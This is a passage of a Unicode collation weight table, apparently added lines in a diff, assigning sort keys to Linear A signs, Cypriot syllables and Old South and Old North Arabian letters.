+10601 ; [.4524.0020.0002] # LINEAR A SIGN AB002 +10602 ; [.4525.0020.0002] # LINEAR A SIGN AB003 +10603 ; [.4526.0020.0002] # LINEAR A SIGN AB004 +10604 ; [.4527.0020.0002] # LINEAR A SIGN AB005 +10605 ; [.4528.0020.0002] # LINEAR A SIGN AB006 +10606 ; [.4529.0020.0002] # LINEAR A SIGN AB007 +10607 ; [.452A.0020.0002] # LINEAR A SIGN AB008 +10608 ; [.452B.0020.0002] # LINEAR A SIGN AB009 +10609 ; [.452C.0020.0002] # LINEAR A SIGN AB010 +1060A ; [.452D.0020.0002] # LINEAR A SIGN AB011 +1060B ; [.452E.0020.0002] # LINEAR A SIGN AB013 +1060C ; [.452F.0020.0002] # LINEAR A SIGN AB016 +1060D ; [.4530.0020.0002] # LINEAR A SIGN AB017 +1060E ; [.4531.0020.0002] # LINEAR A SIGN AB020 +1060F ; [.4532.0020.0002] # LINEAR A SIGN AB021 +10610 ; [.4533.0020.0002] # LINEAR A SIGN AB021F +10611 ; [.4534.0020.0002] # LINEAR A SIGN AB021M +10612 ; [.4535.0020.0002] # LINEAR A SIGN AB022 +10613 ; [.4536.0020.0002] # LINEAR A SIGN AB022F +10614 ; [.4537.0020.0002] # LINEAR A SIGN AB022M +10615 ; [.4538.0020.0002] # LINEAR A SIGN AB023 +10616 ; [.4539.0020.0002] # LINEAR A SIGN AB023M +10617 ; [.453A.0020.0002] # LINEAR A SIGN AB024 +10618 ; [.453B.0020.0002] # LINEAR A SIGN AB026 +10619 ; [.453C.0020.0002] # LINEAR A SIGN AB027 +1061A ; [.453D.0020.0002] # LINEAR A SIGN AB028 +1061B ; [.453E.0020.0002] # LINEAR A SIGN A028B +1061C ; [.453F.0020.0002] # LINEAR A SIGN AB029 +1061D ; [.4540.0020.0002] # LINEAR A SIGN AB030 +1061E ; [.4541.0020.0002] # LINEAR A SIGN AB031 +1061F ; [.4542.0020.0002] # LINEAR A SIGN AB034 +10620 ; [.4543.0020.0002] # LINEAR A SIGN AB037 +10621 ; [.4544.0020.0002] # LINEAR A SIGN AB038 +10622 ; [.4545.0020.0002] # LINEAR A SIGN AB039 +10623 ; [.4546.0020.0002] # LINEAR A SIGN AB040 +10624 ; [.4547.0020.0002] # LINEAR A SIGN AB041 +10625 ; [.4548.0020.0002] # LINEAR A SIGN AB044 +10626 ; [.4549.0020.0002] # LINEAR A SIGN AB045 +10627 ; [.454A.0020.0002] # LINEAR A SIGN AB046 +10628 ; [.454B.0020.0002] # LINEAR A SIGN AB047 +10629 ; [.454C.0020.0002] # LINEAR A SIGN AB048 +1062A ; [.454D.0020.0002] # LINEAR A SIGN AB049 +1062B ; [.454E.0020.0002] # LINEAR A SIGN AB050 +1062C ; [.454F.0020.0002] # LINEAR A SIGN AB051 +1062D ; [.4550.0020.0002] # LINEAR A SIGN AB053 +1062E ; [.4551.0020.0002] # LINEAR A SIGN AB054 +1062F ; [.4552.0020.0002] # LINEAR A SIGN AB055 +10630 ; [.4553.0020.0002] # LINEAR A SIGN AB056 +10631 ; [.4554.0020.0002] # LINEAR A SIGN AB057 +10632 ; [.4555.0020.0002] # LINEAR A SIGN AB058 +10633 ; [.4556.0020.0002] # LINEAR A SIGN AB059 +10634 ; [.4557.0020.0002] # LINEAR A SIGN AB060 +10635 ; [.4558.0020.0002] # LINEAR A SIGN AB061 +10636 ; [.4559.0020.0002] # LINEAR A SIGN AB065 +10637 ; [.455A.0020.0002] # LINEAR A SIGN AB066 +10638 ; [.455B.0020.0002] # LINEAR A SIGN AB067 +10639 ; [.455C.0020.0002] # LINEAR A SIGN AB069 +1063A ; [.455D.0020.0002] # LINEAR A SIGN AB070 +1063B ; [.455E.0020.0002] # LINEAR A SIGN AB073 +1063C ; [.455F.0020.0002] # LINEAR A SIGN AB074 +1063D ; [.4560.0020.0002] # LINEAR A SIGN AB076 +1063E ; [.4561.0020.0002] # LINEAR A SIGN AB077 +1063F ; [.4562.0020.0002] # LINEAR A SIGN AB078 +10640 ; [.4563.0020.0002] # LINEAR A SIGN AB079 +10641 ; [.4564.0020.0002] # LINEAR A SIGN AB080 +10642 ; [.4565.0020.0002] # LINEAR A SIGN AB081 +10643 ; [.4566.0020.0002] # LINEAR A SIGN AB082 +10644 ; [.4567.0020.0002] # LINEAR A SIGN AB085 +10645 ; [.4568.0020.0002] # LINEAR A SIGN AB086 +10646 ; [.4569.0020.0002] # LINEAR A SIGN AB087 +10647 ; [.456A.0020.0002] # LINEAR A SIGN A100-102 +10648 ; [.456B.0020.0002] # LINEAR A SIGN AB118 +10649 ; [.456C.0020.0002] # LINEAR A SIGN AB120 +1064A ; [.456D.0020.0002] # LINEAR A SIGN A120B +1064B ; [.456E.0020.0002] # LINEAR A SIGN AB122 +1064C ; [.456F.0020.0002] # LINEAR A SIGN AB123 +1064D ; [.4570.0020.0002] # LINEAR A SIGN AB131A +1064E ; [.4571.0020.0002] # LINEAR A SIGN AB131B +1064F ; [.4572.0020.0002] # LINEAR A SIGN A131C +10650 ; [.4573.0020.0002] # LINEAR A SIGN AB164 +10651 ; [.4574.0020.0002] # LINEAR A SIGN AB171 +10652 ; [.4575.0020.0002] # LINEAR A SIGN AB180 +10653 ; [.4576.0020.0002] # LINEAR A SIGN AB188 +10654 ; [.4577.0020.0002] # LINEAR A SIGN AB191 +10655 ; [.4578.0020.0002] # LINEAR A SIGN A301 +10656 ; [.4579.0020.0002] # LINEAR A SIGN A302 +10657 ; [.457A.0020.0002] # LINEAR A SIGN A303 +10658 ; [.457B.0020.0002] # LINEAR A SIGN A304 +10659 ; [.457C.0020.0002] # LINEAR A SIGN A305 +1065A ; [.457D.0020.0002] # LINEAR A SIGN A306 +1065B ; [.457E.0020.0002] # LINEAR A SIGN A307 +1065C ; [.457F.0020.0002] # LINEAR A SIGN A308 +1065D ; [.4580.0020.0002] # LINEAR A SIGN A309A +1065E ; [.4581.0020.0002] # LINEAR A SIGN A309B +1065F ; [.4582.0020.0002] # LINEAR A SIGN A309C +10660 ; [.4583.0020.0002] # LINEAR A SIGN A310 +10661 ; [.4584.0020.0002] # LINEAR A SIGN A311 +10662 ; [.4585.0020.0002] # LINEAR A SIGN A312 +10663 ; [.4586.0020.0002] # LINEAR A SIGN A313A +10664 ; [.4587.0020.0002] # LINEAR A SIGN A313B +10665 ; [.4588.0020.0002] # LINEAR A SIGN A313C +10666 ; [.4589.0020.0002] # LINEAR A SIGN A314 +10667 ; [.458A.0020.0002] # LINEAR A SIGN A315 +10668 ; [.458B.0020.0002] # LINEAR A SIGN A316 +10669 ; [.458C.0020.0002] # LINEAR A SIGN A317 +1066A ; [.458D.0020.0002] # LINEAR A SIGN A318 +1066B ; [.458E.0020.0002] # LINEAR A SIGN A319 +1066C ; [.458F.0020.0002] # LINEAR A SIGN A320 +1066D ; [.4590.0020.0002] # LINEAR A SIGN A321 +1066E ; [.4591.0020.0002] # LINEAR A SIGN A322 +1066F ; [.4592.0020.0002] # LINEAR A SIGN A323 +10670 ; [.4593.0020.0002] # LINEAR A SIGN A324 +10671 ; [.4594.0020.0002] # LINEAR A SIGN A325 +10672 ; [.4595.0020.0002] # LINEAR A SIGN A326 +10673 ; [.4596.0020.0002] # LINEAR A SIGN A327 +10674 ; [.4597.0020.0002] # LINEAR A SIGN A328 +10675 ; [.4598.0020.0002] # LINEAR A SIGN A329 +10676 ; [.4599.0020.0002] # LINEAR A SIGN A330 +10677 ; [.459A.0020.0002] # LINEAR A SIGN A331 +10678 ; [.459B.0020.0002] # LINEAR A SIGN A332 +10679 ; [.459C.0020.0002] # LINEAR A SIGN A333 +1067A ; [.459D.0020.0002] # LINEAR A SIGN A334 +1067B ; [.459E.0020.0002] # LINEAR A SIGN A335 +1067C ; [.459F.0020.0002] # LINEAR A SIGN A336 +1067D ; [.45A0.0020.0002] # LINEAR A SIGN A337 +1067E ; [.45A1.0020.0002] # LINEAR A SIGN A338 +1067F ; [.45A2.0020.0002] # LINEAR A SIGN A339 +10680 ; [.45A3.0020.0002] # LINEAR A SIGN A340 +10681 ; [.45A4.0020.0002] # LINEAR A SIGN A341 +10682 ; [.45A5.0020.0002] # LINEAR A SIGN A342 +10683 ; [.45A6.0020.0002] # LINEAR A SIGN A343 +10684 ; [.45A7.0020.0002] # LINEAR A SIGN A344 +10685 ; [.45A8.0020.0002] # LINEAR A SIGN A345 +10686 ; [.45A9.0020.0002] # LINEAR A SIGN A346 +10687 ; [.45AA.0020.0002] # LINEAR A SIGN A347 +10688 ; [.45AB.0020.0002] # LINEAR A SIGN A348 +10689 ; [.45AC.0020.0002] # LINEAR A SIGN A349 +1068A ; [.45AD.0020.0002] # LINEAR A SIGN A350 +1068B ; [.45AE.0020.0002] # LINEAR A SIGN A351 +1068C ; [.45AF.0020.0002] # LINEAR A SIGN A352 +1068D ; [.45B0.0020.0002] # LINEAR A SIGN A353 +1068E ; [.45B1.0020.0002] # LINEAR A SIGN A354 +1068F ; [.45B2.0020.0002] # LINEAR A SIGN A355 +10690 ; [.45B3.0020.0002] # LINEAR A SIGN A356 +10691 ; [.45B4.0020.0002] # LINEAR A SIGN A357 +10692 ; [.45B5.0020.0002] # LINEAR A SIGN A358 +10693 ; [.45B6.0020.0002] # LINEAR A SIGN A359 +10694 ; [.45B7.0020.0002] # LINEAR A SIGN A360 +10695 ; [.45B8.0020.0002] # LINEAR A SIGN A361 +10696 ; [.45B9.0020.0002] # LINEAR A SIGN A362 +10697 ; [.45BA.0020.0002] # LINEAR A SIGN A363 +10698 ; [.45BB.0020.0002] # LINEAR A SIGN A364 +10699 ; [.45BC.0020.0002] # LINEAR A SIGN A365 +1069A ; [.45BD.0020.0002] # LINEAR A SIGN A366 +1069B ; [.45BE.0020.0002] # LINEAR A SIGN A367 +1069C ; [.45BF.0020.0002] # LINEAR A SIGN A368 +1069D ; [.45C0.0020.0002] # LINEAR A SIGN A369 +1069E ; [.45C1.0020.0002] # LINEAR A SIGN A370 +1069F ; [.45C2.0020.0002] # LINEAR A SIGN A371 +106A0 ; [.45C3.0020.0002] # LINEAR A SIGN A400-VAS +106A1 ; [.45C4.0020.0002] # LINEAR A SIGN A401-VAS +106A2 ; [.45C5.0020.0002] # LINEAR A SIGN A402-VAS +106A3 ; [.45C6.0020.0002] # LINEAR A SIGN A403-VAS +106A4 ; [.45C7.0020.0002] # LINEAR A SIGN A404-VAS +106A5 ; [.45C8.0020.0002] # LINEAR A SIGN A405-VAS +106A6 ; [.45C9.0020.0002] # LINEAR A SIGN A406-VAS +106A7 ; [.45CA.0020.0002] # LINEAR A SIGN A407-VAS +106A8 ; [.45CB.0020.0002] # LINEAR A SIGN A408-VAS +106A9 ; [.45CC.0020.0002] # LINEAR A SIGN A409-VAS +106AA ; [.45CD.0020.0002] # LINEAR A SIGN A410-VAS +106AB ; [.45CE.0020.0002] # LINEAR A SIGN A411-VAS +106AC ; [.45CF.0020.0002] # LINEAR A SIGN A412-VAS +106AD ; [.45D0.0020.0002] # LINEAR A SIGN A413-VAS +106AE ; [.45D1.0020.0002] # LINEAR A SIGN A414-VAS +106AF ; [.45D2.0020.0002] # LINEAR A SIGN A415-VAS +106B0 ; [.45D3.0020.0002] # LINEAR A SIGN A416-VAS +106B1 ; [.45D4.0020.0002] # LINEAR A SIGN A417-VAS +106B2 ; [.45D5.0020.0002] # LINEAR A SIGN A418-VAS +106B3 ; [.45D6.0020.0002] # LINEAR A SIGN A501 +106B4 ; [.45D7.0020.0002] # LINEAR A SIGN A502 +106B5 ; [.45D8.0020.0002] # LINEAR A SIGN A503 +106B6 ; [.45D9.0020.0002] # LINEAR A SIGN A504 +106B7 ; [.45DA.0020.0002] # LINEAR A SIGN A505 +106B8 ; [.45DB.0020.0002] # LINEAR A SIGN A506 +106B9 ; [.45DC.0020.0002] # LINEAR A SIGN A508 +106BA ; [.45DD.0020.0002] # LINEAR A SIGN A509 +106BB ; [.45DE.0020.0002] # LINEAR A SIGN A510 +106BC ; [.45DF.0020.0002] # LINEAR A SIGN A511 +106BD ; [.45E0.0020.0002] # LINEAR A SIGN A512 +106BE ; [.45E1.0020.0002] # LINEAR A SIGN A513 +106BF ; [.45E2.0020.0002] # LINEAR A SIGN A515 +106C0 ; [.45E3.0020.0002] # LINEAR A SIGN A516 +106C1 ; [.45E4.0020.0002] # LINEAR A SIGN A520 +106C2 ; [.45E5.0020.0002] # LINEAR A SIGN A521 +106C3 ; [.45E6.0020.0002] # LINEAR A SIGN A523 +106C4 ; [.45E7.0020.0002] # LINEAR A SIGN A524 +106C5 ; [.45E8.0020.0002] # LINEAR A SIGN A525 +106C6 ; [.45E9.0020.0002] # LINEAR A SIGN A526 +106C7 ; [.45EA.0020.0002] # LINEAR A SIGN A527 +106C8 ; [.45EB.0020.0002] # LINEAR A SIGN A528 +106C9 ; [.45EC.0020.0002] # LINEAR A SIGN A529 +106CA ; [.45ED.0020.0002] # LINEAR A SIGN A530 +106CB ; [.45EE.0020.0002] # LINEAR A SIGN A531 +106CC ; [.45EF.0020.0002] # LINEAR A SIGN A532 +106CD ; [.45F0.0020.0002] # LINEAR A SIGN A534 +106CE ; [.45F1.0020.0002] # LINEAR A SIGN A535 +106CF ; [.45F2.0020.0002] # LINEAR A SIGN A536 +106D0 ; [.45F3.0020.0002] # LINEAR A SIGN A537 +106D1 ; [.45F4.0020.0002] # LINEAR A SIGN A538 +106D2 ; [.45F5.0020.0002] # LINEAR A SIGN A539 +106D3 ; [.45F6.0020.0002] # LINEAR A SIGN A540 +106D4 ; [.45F7.0020.0002] # LINEAR A SIGN A541 +106D5 ; [.45F8.0020.0002] # LINEAR A SIGN A542 +106D6 ; [.45F9.0020.0002] # LINEAR A SIGN A545 +106D7 ; [.45FA.0020.0002] # LINEAR A SIGN A547 +106D8 ; [.45FB.0020.0002] # LINEAR A SIGN A548 +106D9 ; [.45FC.0020.0002] # LINEAR A SIGN A549 +106DA ; [.45FD.0020.0002] # LINEAR A SIGN A550 +106DB ; [.45FE.0020.0002] # LINEAR A SIGN A551 +106DC ; [.45FF.0020.0002] # LINEAR A SIGN A552 +106DD ; [.4600.0020.0002] # LINEAR A SIGN A553 +106DE ; [.4601.0020.0002] # LINEAR A SIGN A554 +106DF ; [.4602.0020.0002] # LINEAR A SIGN A555 +106E0 ; [.4603.0020.0002] # LINEAR A SIGN A556 +106E1 ; [.4604.0020.0002] # LINEAR A SIGN A557 +106E2 ; [.4605.0020.0002] # LINEAR A SIGN A559 +106E3 ; [.4606.0020.0002] # LINEAR A SIGN A563 +106E4 ; [.4607.0020.0002] # LINEAR A SIGN A564 +106E5 ; [.4608.0020.0002] # LINEAR A SIGN A565 +106E6 ; [.4609.0020.0002] # LINEAR A SIGN A566 +106E7 ; [.460A.0020.0002] # LINEAR A SIGN A568 +106E8 ; [.460B.0020.0002] # LINEAR A SIGN A569 +106E9 ; [.460C.0020.0002] # LINEAR A SIGN A570 +106EA ; [.460D.0020.0002] # LINEAR A SIGN A571 +106EB ; [.460E.0020.0002] # LINEAR A SIGN A572 +106EC ; [.460F.0020.0002] # LINEAR A SIGN A573 +106ED ; [.4610.0020.0002] # LINEAR A SIGN A574 +106EE ; [.4611.0020.0002] # LINEAR A SIGN A575 +106EF ; [.4612.0020.0002] # LINEAR A SIGN A576 +106F0 ; [.4613.0020.0002] # LINEAR A SIGN A577 +106F1 ; [.4614.0020.0002] # LINEAR A SIGN A578 +106F2 ; [.4615.0020.0002] # LINEAR A SIGN A579 +106F3 ; [.4616.0020.0002] # LINEAR A SIGN A580 +106F4 ; [.4617.0020.0002] # LINEAR A SIGN A581 +106F5 ; [.4618.0020.0002] # LINEAR A SIGN A582 +106F6 ; [.4619.0020.0002] # LINEAR A SIGN A583 +106F7 ; [.461A.0020.0002] # LINEAR A SIGN A584 +106F8 ; [.461B.0020.0002] # LINEAR A SIGN A585 +106F9 ; [.461C.0020.0002] # LINEAR A SIGN A586 +106FA ; [.461D.0020.0002] # LINEAR A SIGN A587 +106FB ; [.461E.0020.0002] # LINEAR A SIGN A588 +106FC ; [.461F.0020.0002] # LINEAR A SIGN A589 +106FD ; [.4620.0020.0002] # LINEAR A SIGN A591 +106FE ; [.4621.0020.0002] # LINEAR A SIGN A592 +106FF ; [.4622.0020.0002] # LINEAR A SIGN A594 +10700 ; [.4623.0020.0002] # LINEAR A SIGN A595 +10701 ; [.4624.0020.0002] # LINEAR A SIGN A596 +10702 ; [.4625.0020.0002] # LINEAR A SIGN A598 +10703 ; [.4626.0020.0002] # LINEAR A SIGN A600 +10704 ; [.4627.0020.0002] # LINEAR A SIGN A601 +10705 ; [.4628.0020.0002] # LINEAR A SIGN A602 +10706 ; [.4629.0020.0002] # LINEAR A SIGN A603 +10707 ; [.462A.0020.0002] # LINEAR A SIGN A604 +10708 ; [.462B.0020.0002] # LINEAR A SIGN A606 +10709 ; [.462C.0020.0002] # LINEAR A SIGN A608 +1070A ; [.462D.0020.0002] # LINEAR A SIGN A609 +1070B ; [.462E.0020.0002] # LINEAR A SIGN A610 +1070C ; [.462F.0020.0002] # LINEAR A SIGN A611 +1070D ; [.4630.0020.0002] # LINEAR A SIGN A612 +1070E ; [.4631.0020.0002] # LINEAR A SIGN A613 +1070F ; [.4632.0020.0002] # LINEAR A SIGN A614 +10710 ; [.4633.0020.0002] # LINEAR A SIGN A615 +10711 ; [.4634.0020.0002] # LINEAR A SIGN A616 +10712 ; [.4635.0020.0002] # LINEAR A SIGN A617 +10713 ; [.4636.0020.0002] # LINEAR A SIGN A618 +10714 ; [.4637.0020.0002] # LINEAR A SIGN A619 +10715 ; [.4638.0020.0002] # LINEAR A SIGN A620 +10716 ; [.4639.0020.0002] # LINEAR A SIGN A621 +10717 ; [.463A.0020.0002] # LINEAR A SIGN A622 +10718 ; [.463B.0020.0002] # LINEAR A SIGN A623 +10719 ; [.463C.0020.0002] # LINEAR A SIGN A624 +1071A ; [.463D.0020.0002] # LINEAR A SIGN A626 +1071B ; [.463E.0020.0002] # LINEAR A SIGN A627 +1071C ; [.463F.0020.0002] # LINEAR A SIGN A628 +1071D ; [.4640.0020.0002] # LINEAR A SIGN A629 +1071E ; [.4641.0020.0002] # LINEAR A SIGN A634 +1071F ; [.4642.0020.0002] # LINEAR A SIGN A637 +10720 ; [.4643.0020.0002] # LINEAR A SIGN A638 +10721 ; [.4644.0020.0002] # LINEAR A SIGN A640 +10722 ; [.4645.0020.0002] # LINEAR A SIGN A642 +10723 ; [.4646.0020.0002] # LINEAR A SIGN A643 +10724 ; [.4647.0020.0002] # LINEAR A SIGN A644 +10725 ; [.4648.0020.0002] # LINEAR A SIGN A645 +10726 ; [.4649.0020.0002] # LINEAR A SIGN A646 +10727 ; [.464A.0020.0002] # LINEAR A SIGN A648 +10728 ; [.464B.0020.0002] # LINEAR A SIGN A649 +10729 ; [.464C.0020.0002] # LINEAR A SIGN A651 +1072A ; [.464D.0020.0002] # LINEAR A SIGN A652 +1072B ; [.464E.0020.0002] # LINEAR A SIGN A653 +1072C ; [.464F.0020.0002] # LINEAR A SIGN A654 +1072D ; [.4650.0020.0002] # LINEAR A SIGN A655 +1072E ; [.4651.0020.0002] # LINEAR A SIGN A656 +1072F ; [.4652.0020.0002] # LINEAR A SIGN A657 +10730 ; [.4653.0020.0002] # LINEAR A SIGN A658 +10731 ; [.4654.0020.0002] # LINEAR A SIGN A659 +10732 ; [.4655.0020.0002] # LINEAR A SIGN A660 +10733 ; [.4656.0020.0002] # LINEAR A SIGN A661 +10734 ; [.4657.0020.0002] # LINEAR A SIGN A662 +10735 ; [.4658.0020.0002] # LINEAR A SIGN A663 +10736 ; [.4659.0020.0002] # LINEAR A SIGN A664 +10740 ; [.465A.0020.0002] # LINEAR A SIGN A701 A +10741 ; [.465B.0020.0002] # LINEAR A SIGN A702 B +10742 ; [.465C.0020.0002] # LINEAR A SIGN A703 D +10743 ; [.465D.0020.0002] # LINEAR A SIGN A704 E +10744 ; [.465E.0020.0002] # LINEAR A SIGN A705 F +10745 ; [.465F.0020.0002] # LINEAR A SIGN A706 H +10746 ; [.4660.0020.0002] # LINEAR A SIGN A707 J +10747 ; [.4661.0020.0002] # LINEAR A SIGN A708 K +10748 ; [.4662.0020.0002] # LINEAR A SIGN A709 L +10749 ; [.4663.0020.0002] # LINEAR A SIGN A709-2 L2 +1074A ; [.4664.0020.0002] # LINEAR A SIGN A709-3 L3 +1074B ; [.4665.0020.0002] # LINEAR A SIGN A709-4 L4 +1074C ; [.4666.0020.0002] # LINEAR A SIGN A709-6 L6 +1074D ; [.4667.0020.0002] # LINEAR A SIGN A710 W +1074E ; [.4668.0020.0002] # LINEAR A SIGN A711 X +1074F ; [.4669.0020.0002] # LINEAR A SIGN A712 Y +10750 ; [.466A.0020.0002] # LINEAR A SIGN A713 OMEGA +10751 ; [.466B.0020.0002] # LINEAR A SIGN A714 ABB +10752 ; [.466C.0020.0002] # LINEAR A SIGN A715 BB +10753 ; [.466D.0020.0002] # LINEAR A SIGN A717 DD +10754 ; [.466E.0020.0002] # LINEAR A SIGN A726 EYYY +10755 ; [.466F.0020.0002] # LINEAR A SIGN A732 JE +10760 ; [.4670.0020.0002] # LINEAR A SIGN A800 +10761 ; [.4671.0020.0002] # LINEAR A SIGN A801 +10762 ; [.4672.0020.0002] # LINEAR A SIGN A802 +10763 ; [.4673.0020.0002] # LINEAR A SIGN A803 +10764 ; [.4674.0020.0002] # LINEAR A SIGN A804 +10765 ; [.4675.0020.0002] # LINEAR A SIGN A805 +10766 ; [.4676.0020.0002] # LINEAR A SIGN A806 +10767 ; [.4677.0020.0002] # LINEAR A SIGN A807 +10800 ; [.4678.0020.0002] # CYPRIOT SYLLABLE A +10801 ; [.4679.0020.0002] # CYPRIOT SYLLABLE E +10802 ; [.467A.0020.0002] # CYPRIOT SYLLABLE I +10803 ; [.467B.0020.0002] # CYPRIOT SYLLABLE O +10804 ; [.467C.0020.0002] # CYPRIOT SYLLABLE U +10805 ; [.467D.0020.0002] # CYPRIOT SYLLABLE JA +10808 ; [.467E.0020.0002] # CYPRIOT SYLLABLE JO +1080A ; [.467F.0020.0002] # CYPRIOT SYLLABLE KA +1080B ; [.4680.0020.0002] # CYPRIOT SYLLABLE KE +1080C ; [.4681.0020.0002] # CYPRIOT SYLLABLE KI +1080D ; [.4682.0020.0002] # CYPRIOT SYLLABLE KO +1080E ; [.4683.0020.0002] # CYPRIOT SYLLABLE KU +1080F ; [.4684.0020.0002] # CYPRIOT SYLLABLE LA +10810 ; [.4685.0020.0002] # CYPRIOT SYLLABLE LE +10811 ; [.4686.0020.0002] # CYPRIOT SYLLABLE LI +10812 ; [.4687.0020.0002] # CYPRIOT SYLLABLE LO +10813 ; [.4688.0020.0002] # CYPRIOT SYLLABLE LU +10814 ; [.4689.0020.0002] # CYPRIOT SYLLABLE MA +10815 ; [.468A.0020.0002] # CYPRIOT SYLLABLE ME +10816 ; [.468B.0020.0002] # CYPRIOT SYLLABLE MI +10817 ; [.468C.0020.0002] # CYPRIOT SYLLABLE MO +10818 ; [.468D.0020.0002] # CYPRIOT SYLLABLE MU +10819 ; [.468E.0020.0002] # CYPRIOT SYLLABLE NA +1081A ; [.468F.0020.0002] # CYPRIOT SYLLABLE NE +1081B ; [.4690.0020.0002] # CYPRIOT SYLLABLE NI +1081C ; [.4691.0020.0002] # CYPRIOT SYLLABLE NO +1081D ; [.4692.0020.0002] # CYPRIOT SYLLABLE NU +1081E ; [.4693.0020.0002] # CYPRIOT SYLLABLE PA +1081F ; [.4694.0020.0002] # CYPRIOT SYLLABLE PE +10820 ; [.4695.0020.0002] # CYPRIOT SYLLABLE PI +10821 ; [.4696.0020.0002] # CYPRIOT SYLLABLE PO +10822 ; [.4697.0020.0002] # CYPRIOT SYLLABLE PU +10823 ; [.4698.0020.0002] # CYPRIOT SYLLABLE RA +10824 ; [.4699.0020.0002] # CYPRIOT SYLLABLE RE +10825 ; [.469A.0020.0002] # CYPRIOT SYLLABLE RI +10826 ; [.469B.0020.0002] # CYPRIOT SYLLABLE RO +10827 ; [.469C.0020.0002] # CYPRIOT SYLLABLE RU +10828 ; [.469D.0020.0002] # CYPRIOT SYLLABLE SA +10829 ; [.469E.0020.0002] # CYPRIOT SYLLABLE SE +1082A ; [.469F.0020.0002] # CYPRIOT SYLLABLE SI +1082B ; [.46A0.0020.0002] # CYPRIOT SYLLABLE SO +1082C ; [.46A1.0020.0002] # CYPRIOT SYLLABLE SU +1082D ; [.46A2.0020.0002] # CYPRIOT SYLLABLE TA +1082E ; [.46A3.0020.0002] # CYPRIOT SYLLABLE TE +1082F ; [.46A4.0020.0002] # CYPRIOT SYLLABLE TI +10830 ; [.46A5.0020.0002] # CYPRIOT SYLLABLE TO +10831 ; [.46A6.0020.0002] # CYPRIOT SYLLABLE TU +10832 ; [.46A7.0020.0002] # CYPRIOT SYLLABLE WA +10833 ; [.46A8.0020.0002] # CYPRIOT SYLLABLE WE +10834 ; [.46A9.0020.0002] # CYPRIOT SYLLABLE WI +10835 ; [.46AA.0020.0002] # CYPRIOT SYLLABLE WO +10837 ; [.46AB.0020.0002] # CYPRIOT SYLLABLE XA +10838 ; [.46AC.0020.0002] # CYPRIOT SYLLABLE XE +1083C ; [.46AD.0020.0002] # CYPRIOT SYLLABLE ZA +1083F ; [.46AE.0020.0002] # CYPRIOT SYLLABLE ZO +10A60 ; [.46AF.0020.0002] # OLD SOUTH ARABIAN LETTER HE +10A61 ; [.46B0.0020.0002] # OLD SOUTH ARABIAN LETTER LAMEDH +10A62 ; [.46B1.0020.0002] # OLD SOUTH ARABIAN LETTER HETH +10A63 ; [.46B2.0020.0002] # OLD SOUTH ARABIAN LETTER MEM +10A64 ; [.46B3.0020.0002] # OLD SOUTH ARABIAN LETTER QOPH +10A65 ; [.46B4.0020.0002] # OLD SOUTH ARABIAN LETTER WAW +10A66 ; [.46B5.0020.0002] # OLD SOUTH ARABIAN LETTER SHIN +10A67 ; [.46B6.0020.0002] # OLD SOUTH ARABIAN LETTER RESH +10A68 ; [.46B7.0020.0002] # OLD SOUTH ARABIAN LETTER BETH +10A69 ; [.46B8.0020.0002] # OLD SOUTH ARABIAN LETTER TAW +10A6A ; [.46B9.0020.0002] # OLD SOUTH ARABIAN LETTER SAT +10A6B ; [.46BA.0020.0002] # OLD SOUTH ARABIAN LETTER KAPH +10A6C ; [.46BB.0020.0002] # OLD SOUTH ARABIAN LETTER NUN +10A6D ; [.46BC.0020.0002] # OLD SOUTH ARABIAN LETTER KHETH +10A6E ; [.46BD.0020.0002] # OLD SOUTH ARABIAN LETTER SADHE +10A6F ; [.46BE.0020.0002] # OLD SOUTH ARABIAN LETTER SAMEKH +10A70 ; [.46BF.0020.0002] # OLD SOUTH ARABIAN LETTER FE +10A71 ; [.46C0.0020.0002] # OLD SOUTH ARABIAN LETTER ALEF +10A72 ; [.46C1.0020.0002] # OLD SOUTH ARABIAN LETTER AYN +10A73 ; [.46C2.0020.0002] # OLD SOUTH ARABIAN LETTER DHADHE +10A74 ; [.46C3.0020.0002] # OLD SOUTH ARABIAN LETTER GIMEL +10A75 ; [.46C4.0020.0002] # OLD SOUTH ARABIAN LETTER DALETH +10A76 ; [.46C5.0020.0002] # OLD SOUTH ARABIAN LETTER GHAYN +10A77 ; [.46C6.0020.0002] # OLD SOUTH ARABIAN LETTER TETH +10A78 ; [.46C7.0020.0002] # OLD SOUTH ARABIAN LETTER ZAYN +10A79 ; [.46C8.0020.0002] # OLD SOUTH ARABIAN LETTER DHALETH +10A7A ; [.46C9.0020.0002] # OLD SOUTH ARABIAN LETTER YODH +10A7B ; [.46CA.0020.0002] # OLD SOUTH ARABIAN LETTER THAW +10A7C ; [.46CB.0020.0002] # OLD SOUTH ARABIAN LETTER THETH +10A80 ; [.46CC.0020.0002] # OLD NORTH ARABIAN LETTER HEH +10A81 ; [.46CD.0020.0002] # OLD NORTH ARABIAN LETTER LAM +10A82 ; [.46CE.0020.0002] # OLD NORTH ARABIAN LETTER HAH +10A83 ; [.46CF.0020.0002] # OLD NORTH ARABIAN LETTER MEEM +10A84 ; [.46D0.0020.0002] # OLD NORTH ARABIAN LETTER QAF +10A85 ; [.46D1.0020.0002] # OLD NORTH ARABIAN LETTER WAW +10A86 ; [.46D2.0020.0002] # OLD NORTH ARABIAN LETTER ES-2 +10A87 ; [.46D3.0020.0002] # OLD NORTH ARABIAN LETTER REH +10A88 ; [.46D4.0020.0002] # OLD NORTH ARABIAN LETTER BEH +10A89 ; [.46D5.0020.0002] # OLD NORTH ARABIAN LETTER TEH +10A8A ; [.46D6.0020.0002] # OLD NORTH ARABIAN LETTER ES-1 +10A8B ; [.46D7.0020.0002] # OLD NORTH ARABIAN LETTER KAF +10A8C ; [.46D8.0020.0002] # OLD NORTH ARABIAN LETTER NOON +10A8D ; [.46D9.0020.0002] # OLD NORTH ARABIAN LETTER KHAH +10A8E ; [.46DA.0020.0002] # OLD NORTH ARABIAN LETTER SAD +10A8F ; [.46DB.0020.0002] # OLD NORTH ARABIAN LETTER ES-3 +10A90 ; [.46DC.0020.0002] # OLD NORTH ARABIAN LETTER FEH +10A91 ; [.46DD.0020.0002] # OLD NORTH ARABIAN LETTER ALEF +10A92 ; [.46DE.0020.0002] # OLD NORTH ARABIAN LETTER AIN +10A93 ; [.46DF.0020.0002] # OLD NORTH ARABIAN LETTER DAD +10A94 ; [.46E0.0020.0002] # OLD NORTH ARABIAN LETTER GEEM +10A95 ; [.46E1.0020.0002] # OLD NORTH ARABIAN LETTER DAL +10A96 ; [.46E2.0020.0002] # OLD NORTH ARABIAN LETTER GHAIN +10A97 ; [.46E3.0020.0002] # OLD NORTH ARABIAN LETTER TAH +10A98 ; [.46E4.0020.0002] # OLD NORTH ARABIAN LETTER ZAIN +10A99 ; 